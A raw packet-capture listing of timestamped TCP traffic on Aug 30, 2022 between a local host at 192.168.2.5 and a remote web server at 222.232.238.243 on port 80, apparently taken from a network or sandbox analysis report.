Aug 30, 2022 15:54:30.437479019 CEST	49724	80	192.168.2.5	222.232.238.243
Aug 30, 2022 15:54:30.437510967 CEST	80	49724	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:30.437530041 CEST	49724	80	192.168.2.5	222.232.238.243
Aug 30, 2022 15:54:30.437555075 CEST	80	49724	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:30.437597036 CEST	80	49724	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:30.437634945 CEST	49724	80	192.168.2.5	222.232.238.243
Aug 30, 2022 15:54:30.437640905 CEST	80	49724	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:30.437684059 CEST	80	49724	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:30.437726974 CEST	80	49724	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:30.437733889 CEST	49724	80	192.168.2.5	222.232.238.243
Aug 30, 2022 15:54:30.437771082 CEST	80	49724	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:30.437784910 CEST	49724	80	192.168.2.5	222.232.238.243
Aug 30, 2022 15:54:30.437813044 CEST	80	49724	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:30.437855959 CEST	80	49724	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:30.437870026 CEST	49724	80	192.168.2.5	222.232.238.243
Aug 30, 2022 15:54:30.437900066 CEST	80	49724	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:30.437942982 CEST	80	49724	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:30.437954903 CEST	49724	80	192.168.2.5	222.232.238.243
Aug 30, 2022 15:54:30.437987089 CEST	80	49724	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:30.438030958 CEST	80	49724	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:30.438043118 CEST	49724	80	192.168.2.5	222.232.238.243
Aug 30, 2022 15:54:30.438071966 CEST	80	49724	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:30.438116074 CEST	80	49724	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:30.438129902 CEST	49724	80	192.168.2.5	222.232.238.243
Aug 30, 2022 15:54:30.438157082 CEST	80	49724	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:30.438198090 CEST	80	49724	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:30.438237906 CEST	80	49724	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:30.438246012 CEST	49724	80	192.168.2.5	222.232.238.243
Aug 30, 2022 15:54:30.438281059 CEST	80	49724	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:30.438302040 CEST	49724	80	192.168.2.5	222.232.238.243
Aug 30, 2022 15:54:30.438324928 CEST	80	49724	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:30.438365936 CEST	80	49724	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:30.438383102 CEST	49724	80	192.168.2.5	222.232.238.243
Aug 30, 2022 15:54:30.438407898 CEST	80	49724	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:30.438450098 CEST	80	49724	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:30.438466072 CEST	49724	80	192.168.2.5	222.232.238.243
Aug 30, 2022 15:54:30.438489914 CEST	80	49724	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:30.438533068 CEST	80	49724	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:30.438549995 CEST	49724	80	192.168.2.5	222.232.238.243
Aug 30, 2022 15:54:30.438576937 CEST	80	49724	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:30.438621044 CEST	80	49724	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:30.438636065 CEST	49724	80	192.168.2.5	222.232.238.243
Aug 30, 2022 15:54:30.438666105 CEST	80	49724	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:30.438705921 CEST	80	49724	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:30.438721895 CEST	49724	80	192.168.2.5	222.232.238.243
Aug 30, 2022 15:54:30.438747883 CEST	80	49724	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:30.438790083 CEST	80	49724	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:30.438802958 CEST	49724	80	192.168.2.5	222.232.238.243
Aug 30, 2022 15:54:30.438831091 CEST	80	49724	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:30.438872099 CEST	80	49724	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:30.438885927 CEST	49724	80	192.168.2.5	222.232.238.243
Aug 30, 2022 15:54:30.438915014 CEST	80	49724	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:30.438956976 CEST	80	49724	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:30.438971996 CEST	49724	80	192.168.2.5	222.232.238.243
Aug 30, 2022 15:54:30.439001083 CEST	80	49724	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:30.439042091 CEST	80	49724	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:30.439069986 CEST	49724	80	192.168.2.5	222.232.238.243
Aug 30, 2022 15:54:30.440175056 CEST	80	49724	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:30.440279961 CEST	49724	80	192.168.2.5	222.232.238.243
Aug 30, 2022 15:54:30.743834019 CEST	80	49724	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:30.743915081 CEST	80	49724	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:30.743959904 CEST	80	49724	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:30.744008064 CEST	80	49724	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:30.744056940 CEST	80	49724	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:30.744100094 CEST	80	49724	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:30.744124889 CEST	49724	80	192.168.2.5	222.232.238.243
Aug 30, 2022 15:54:30.744146109 CEST	80	49724	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:30.744159937 CEST	49724	80	192.168.2.5	222.232.238.243
Aug 30, 2022 15:54:30.744194984 CEST	80	49724	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:30.744203091 CEST	49724	80	192.168.2.5	222.232.238.243
Aug 30, 2022 15:54:30.744241953 CEST	80	49724	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:30.744287014 CEST	80	49724	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:30.744296074 CEST	49724	80	192.168.2.5	222.232.238.243
Aug 30, 2022 15:54:30.744335890 CEST	80	49724	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:30.744359970 CEST	49724	80	192.168.2.5	222.232.238.243
Aug 30, 2022 15:54:30.744376898 CEST	80	49724	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:30.744417906 CEST	80	49724	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:30.744422913 CEST	49724	80	192.168.2.5	222.232.238.243
Aug 30, 2022 15:54:30.744461060 CEST	80	49724	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:30.744503021 CEST	80	49724	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:30.744508028 CEST	49724	80	192.168.2.5	222.232.238.243
Aug 30, 2022 15:54:30.744546890 CEST	80	49724	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:30.744586945 CEST	80	49724	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:30.744590998 CEST	49724	80	192.168.2.5	222.232.238.243
Aug 30, 2022 15:54:30.744628906 CEST	80	49724	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:30.744671106 CEST	80	49724	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:30.744672060 CEST	49724	80	192.168.2.5	222.232.238.243
Aug 30, 2022 15:54:30.744713068 CEST	80	49724	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:30.744754076 CEST	80	49724	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:30.744755030 CEST	49724	80	192.168.2.5	222.232.238.243
Aug 30, 2022 15:54:30.744796038 CEST	80	49724	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:30.744837999 CEST	80	49724	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:30.744847059 CEST	49724	80	192.168.2.5	222.232.238.243
Aug 30, 2022 15:54:30.744880915 CEST	80	49724	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:30.744921923 CEST	80	49724	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:30.744925976 CEST	49724	80	192.168.2.5	222.232.238.243
Aug 30, 2022 15:54:30.744962931 CEST	80	49724	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:30.745004892 CEST	80	49724	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:30.745011091 CEST	49724	80	192.168.2.5	222.232.238.243
Aug 30, 2022 15:54:30.745049953 CEST	80	49724	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:30.745093107 CEST	49724	80	192.168.2.5	222.232.238.243
Aug 30, 2022 15:54:30.745093107 CEST	80	49724	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:30.745136023 CEST	80	49724	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:30.745179892 CEST	80	49724	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:30.745193005 CEST	49724	80	192.168.2.5	222.232.238.243
Aug 30, 2022 15:54:30.745223999 CEST	80	49724	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:30.745264053 CEST	80	49724	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:30.745269060 CEST	49724	80	192.168.2.5	222.232.238.243
Aug 30, 2022 15:54:30.745306015 CEST	80	49724	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:30.745348930 CEST	80	49724	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:30.745353937 CEST	49724	80	192.168.2.5	222.232.238.243
Aug 30, 2022 15:54:30.745390892 CEST	80	49724	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:30.745438099 CEST	80	49724	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:30.745479107 CEST	49724	80	192.168.2.5	222.232.238.243
Aug 30, 2022 15:54:30.745481014 CEST	80	49724	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:30.745522976 CEST	80	49724	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:30.745532990 CEST	49724	80	192.168.2.5	222.232.238.243
Aug 30, 2022 15:54:30.745563984 CEST	80	49724	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:30.745606899 CEST	80	49724	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:30.745613098 CEST	49724	80	192.168.2.5	222.232.238.243
Aug 30, 2022 15:54:30.745678902 CEST	80	49724	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:30.745723009 CEST	80	49724	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:30.745731115 CEST	49724	80	192.168.2.5	222.232.238.243
Aug 30, 2022 15:54:30.745764017 CEST	80	49724	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:30.745809078 CEST	80	49724	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:30.745810032 CEST	49724	80	192.168.2.5	222.232.238.243
Aug 30, 2022 15:54:30.745851994 CEST	80	49724	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:30.745892048 CEST	80	49724	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:30.745898008 CEST	49724	80	192.168.2.5	222.232.238.243
Aug 30, 2022 15:54:30.745933056 CEST	80	49724	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:30.745978117 CEST	49724	80	192.168.2.5	222.232.238.243
Aug 30, 2022 15:54:31.050707102 CEST	80	49724	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:31.050766945 CEST	80	49724	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:31.050810099 CEST	80	49724	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:31.050851107 CEST	80	49724	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:31.050895929 CEST	49724	80	192.168.2.5	222.232.238.243
Aug 30, 2022 15:54:31.050899982 CEST	80	49724	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:31.050945044 CEST	80	49724	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:31.050987005 CEST	80	49724	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:31.050993919 CEST	49724	80	192.168.2.5	222.232.238.243
Aug 30, 2022 15:54:31.051031113 CEST	80	49724	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:31.051043034 CEST	49724	80	192.168.2.5	222.232.238.243
Aug 30, 2022 15:54:31.051084995 CEST	80	49724	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:31.051093102 CEST	49724	80	192.168.2.5	222.232.238.243
Aug 30, 2022 15:54:31.051136017 CEST	80	49724	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:31.051183939 CEST	80	49724	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:31.051192045 CEST	49724	80	192.168.2.5	222.232.238.243
Aug 30, 2022 15:54:31.051228046 CEST	80	49724	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:31.051280975 CEST	49724	80	192.168.2.5	222.232.238.243
Aug 30, 2022 15:54:31.051282883 CEST	80	49724	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:31.051330090 CEST	80	49724	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:31.051394939 CEST	49724	80	192.168.2.5	222.232.238.243
Aug 30, 2022 15:54:31.051408052 CEST	80	49724	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:31.051453114 CEST	80	49724	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:31.051493883 CEST	80	49724	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:31.051508904 CEST	49724	80	192.168.2.5	222.232.238.243
Aug 30, 2022 15:54:31.051537037 CEST	80	49724	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:31.051583052 CEST	80	49724	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:31.051595926 CEST	49724	80	192.168.2.5	222.232.238.243
Aug 30, 2022 15:54:31.051625967 CEST	80	49724	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:31.051667929 CEST	80	49724	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:31.051681995 CEST	49724	80	192.168.2.5	222.232.238.243
Aug 30, 2022 15:54:31.051708937 CEST	80	49724	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:31.051750898 CEST	80	49724	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:31.051765919 CEST	49724	80	192.168.2.5	222.232.238.243
Aug 30, 2022 15:54:31.051795959 CEST	80	49724	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:31.051829100 CEST	80	49724	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:31.051848888 CEST	49724	80	192.168.2.5	222.232.238.243
Aug 30, 2022 15:54:31.051873922 CEST	80	49724	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:31.051915884 CEST	80	49724	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:31.051933050 CEST	49724	80	192.168.2.5	222.232.238.243
Aug 30, 2022 15:54:31.051964998 CEST	80	49724	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:31.052011013 CEST	80	49724	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:31.052026033 CEST	49724	80	192.168.2.5	222.232.238.243
Aug 30, 2022 15:54:31.052061081 CEST	80	49724	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:31.052117109 CEST	49724	80	192.168.2.5	222.232.238.243
Aug 30, 2022 15:54:31.052117109 CEST	80	49724	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:31.052169085 CEST	80	49724	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:31.052213907 CEST	80	49724	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:31.052222013 CEST	49724	80	192.168.2.5	222.232.238.243
Aug 30, 2022 15:54:31.052264929 CEST	80	49724	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:31.052314997 CEST	49724	80	192.168.2.5	222.232.238.243
Aug 30, 2022 15:54:31.052314997 CEST	80	49724	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:31.052361012 CEST	80	49724	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:31.052407026 CEST	80	49724	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:31.052414894 CEST	49724	80	192.168.2.5	222.232.238.243
Aug 30, 2022 15:54:31.052448988 CEST	80	49724	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:31.052500010 CEST	80	49724	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:31.052508116 CEST	49724	80	192.168.2.5	222.232.238.243
Aug 30, 2022 15:54:31.052551031 CEST	80	49724	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:31.052602053 CEST	80	49724	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:31.052603960 CEST	49724	80	192.168.2.5	222.232.238.243
Aug 30, 2022 15:54:31.052653074 CEST	80	49724	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:31.052700996 CEST	80	49724	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:31.052701950 CEST	49724	80	192.168.2.5	222.232.238.243
Aug 30, 2022 15:54:31.052747011 CEST	80	49724	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:31.052793980 CEST	49724	80	192.168.2.5	222.232.238.243
Aug 30, 2022 15:54:31.052797079 CEST	80	49724	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:31.052845955 CEST	80	49724	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:31.052896023 CEST	80	49724	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:31.052938938 CEST	49724	80	192.168.2.5	222.232.238.243
Aug 30, 2022 15:54:31.052941084 CEST	80	49724	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:31.053011894 CEST	49724	80	192.168.2.5	222.232.238.243
Aug 30, 2022 15:54:31.357633114 CEST	80	49724	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:31.357683897 CEST	80	49724	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:31.357758045 CEST	80	49724	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:31.357758999 CEST	49724	80	192.168.2.5	222.232.238.243
Aug 30, 2022 15:54:31.357798100 CEST	80	49724	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:31.357867956 CEST	49724	80	192.168.2.5	222.232.238.243
Aug 30, 2022 15:54:31.357870102 CEST	80	49724	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:31.357945919 CEST	80	49724	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:31.357974052 CEST	80	49724	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:31.358011961 CEST	80	49724	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:31.358047962 CEST	80	49724	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:31.358099937 CEST	49724	80	192.168.2.5	222.232.238.243
Aug 30, 2022 15:54:31.358165026 CEST	49724	80	192.168.2.5	222.232.238.243
Aug 30, 2022 15:54:31.358170033 CEST	80	49724	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:31.358257055 CEST	49724	80	192.168.2.5	222.232.238.243
Aug 30, 2022 15:54:31.358267069 CEST	80	49724	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:31.358306885 CEST	80	49724	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:31.358340025 CEST	80	49724	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:31.358362913 CEST	80	49724	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:31.358390093 CEST	80	49724	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:31.358414888 CEST	80	49724	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:31.358441114 CEST	80	49724	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:31.358474970 CEST	80	49724	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:31.358478069 CEST	49724	80	192.168.2.5	222.232.238.243
Aug 30, 2022 15:54:31.358509064 CEST	80	49724	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:31.358530045 CEST	49724	80	192.168.2.5	222.232.238.243
Aug 30, 2022 15:54:31.358552933 CEST	80	49724	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:31.358586073 CEST	80	49724	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:31.358603954 CEST	49724	80	192.168.2.5	222.232.238.243
Aug 30, 2022 15:54:31.358622074 CEST	80	49724	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:31.358656883 CEST	80	49724	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:31.358683109 CEST	49724	80	192.168.2.5	222.232.238.243
Aug 30, 2022 15:54:31.358690977 CEST	80	49724	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:31.358726978 CEST	80	49724	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:31.358741999 CEST	49724	80	192.168.2.5	222.232.238.243
Aug 30, 2022 15:54:31.358758926 CEST	80	49724	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:31.358789921 CEST	80	49724	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:31.358807087 CEST	49724	80	192.168.2.5	222.232.238.243
Aug 30, 2022 15:54:31.358824968 CEST	80	49724	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:31.358856916 CEST	80	49724	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:31.358874083 CEST	49724	80	192.168.2.5	222.232.238.243
Aug 30, 2022 15:54:31.358886957 CEST	80	49724	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:31.358922958 CEST	80	49724	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:31.358942032 CEST	49724	80	192.168.2.5	222.232.238.243
Aug 30, 2022 15:54:31.358954906 CEST	80	49724	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:31.358987093 CEST	80	49724	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:31.359005928 CEST	49724	80	192.168.2.5	222.232.238.243
Aug 30, 2022 15:54:31.359019995 CEST	80	49724	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:31.359052896 CEST	80	49724	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:31.359070063 CEST	49724	80	192.168.2.5	222.232.238.243
Aug 30, 2022 15:54:31.359091043 CEST	80	49724	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:31.359123945 CEST	80	49724	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:31.359142065 CEST	49724	80	192.168.2.5	222.232.238.243
Aug 30, 2022 15:54:31.359158039 CEST	80	49724	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:31.359189987 CEST	80	49724	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:31.359217882 CEST	49724	80	192.168.2.5	222.232.238.243
Aug 30, 2022 15:54:31.359221935 CEST	80	49724	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:31.359256983 CEST	80	49724	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:31.359280109 CEST	49724	80	192.168.2.5	222.232.238.243
Aug 30, 2022 15:54:31.359292984 CEST	80	49724	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:31.359327078 CEST	80	49724	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:31.359344006 CEST	49724	80	192.168.2.5	222.232.238.243
Aug 30, 2022 15:54:31.359396935 CEST	80	49724	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:31.359431028 CEST	80	49724	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:31.359450102 CEST	49724	80	192.168.2.5	222.232.238.243
Aug 30, 2022 15:54:31.359462976 CEST	80	49724	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:31.359489918 CEST	80	49724	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:31.359509945 CEST	49724	80	192.168.2.5	222.232.238.243
Aug 30, 2022 15:54:31.359514952 CEST	80	49724	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:31.359541893 CEST	80	49724	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:31.359560966 CEST	49724	80	192.168.2.5	222.232.238.243
Aug 30, 2022 15:54:31.359570980 CEST	80	49724	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:31.359599113 CEST	80	49724	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:31.359616995 CEST	49724	80	192.168.2.5	222.232.238.243
Aug 30, 2022 15:54:31.359626055 CEST	80	49724	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:31.359659910 CEST	80	49724	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:31.359673023 CEST	49724	80	192.168.2.5	222.232.238.243
Aug 30, 2022 15:54:31.359693050 CEST	80	49724	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:31.359730005 CEST	80	49724	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:31.359744072 CEST	49724	80	192.168.2.5	222.232.238.243
Aug 30, 2022 15:54:31.359765053 CEST	80	49724	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:31.359803915 CEST	80	49724	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:31.359817028 CEST	49724	80	192.168.2.5	222.232.238.243
Aug 30, 2022 15:54:31.359847069 CEST	80	49724	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:31.359883070 CEST	80	49724	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:31.359898090 CEST	49724	80	192.168.2.5	222.232.238.243
Aug 30, 2022 15:54:31.359921932 CEST	80	49724	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:31.359965086 CEST	80	49724	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:31.359978914 CEST	49724	80	192.168.2.5	222.232.238.243
Aug 30, 2022 15:54:31.360008955 CEST	80	49724	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:31.360047102 CEST	80	49724	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:31.360059023 CEST	49724	80	192.168.2.5	222.232.238.243
Aug 30, 2022 15:54:31.360084057 CEST	80	49724	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:31.360120058 CEST	80	49724	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:31.360152006 CEST	49724	80	192.168.2.5	222.232.238.243
Aug 30, 2022 15:54:31.360153913 CEST	80	49724	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:31.360193968 CEST	80	49724	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:31.360213041 CEST	49724	80	192.168.2.5	222.232.238.243
Aug 30, 2022 15:54:31.360236883 CEST	80	49724	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:31.360285044 CEST	80	49724	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:31.360292912 CEST	49724	80	192.168.2.5	222.232.238.243
Aug 30, 2022 15:54:31.360327005 CEST	80	49724	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:31.360374928 CEST	80	49724	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:31.360383034 CEST	49724	80	192.168.2.5	222.232.238.243
Aug 30, 2022 15:54:31.360416889 CEST	80	49724	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:31.360456944 CEST	80	49724	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:31.360482931 CEST	49724	80	192.168.2.5	222.232.238.243
Aug 30, 2022 15:54:31.360505104 CEST	80	49724	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:31.360548973 CEST	80	49724	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:31.360589981 CEST	49724	80	192.168.2.5	222.232.238.243
Aug 30, 2022 15:54:31.360590935 CEST	80	49724	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:31.360637903 CEST	80	49724	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:31.360671997 CEST	49724	80	192.168.2.5	222.232.238.243
Aug 30, 2022 15:54:31.360675097 CEST	80	49724	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:31.360719919 CEST	80	49724	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:31.360724926 CEST	49724	80	192.168.2.5	222.232.238.243
Aug 30, 2022 15:54:31.360764980 CEST	80	49724	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:31.360804081 CEST	80	49724	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:31.360812902 CEST	49724	80	192.168.2.5	222.232.238.243
Aug 30, 2022 15:54:31.360847950 CEST	80	49724	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:31.360896111 CEST	80	49724	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:31.360899925 CEST	49724	80	192.168.2.5	222.232.238.243
Aug 30, 2022 15:54:31.360934973 CEST	80	49724	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:31.360976934 CEST	80	49724	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:31.360985994 CEST	49724	80	192.168.2.5	222.232.238.243
Aug 30, 2022 15:54:31.361016035 CEST	80	49724	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:31.361058950 CEST	80	49724	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:31.361102104 CEST	49724	80	192.168.2.5	222.232.238.243
Aug 30, 2022 15:54:31.361104965 CEST	80	49724	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:31.361143112 CEST	80	49724	222.232.238.243	192.168.2.5
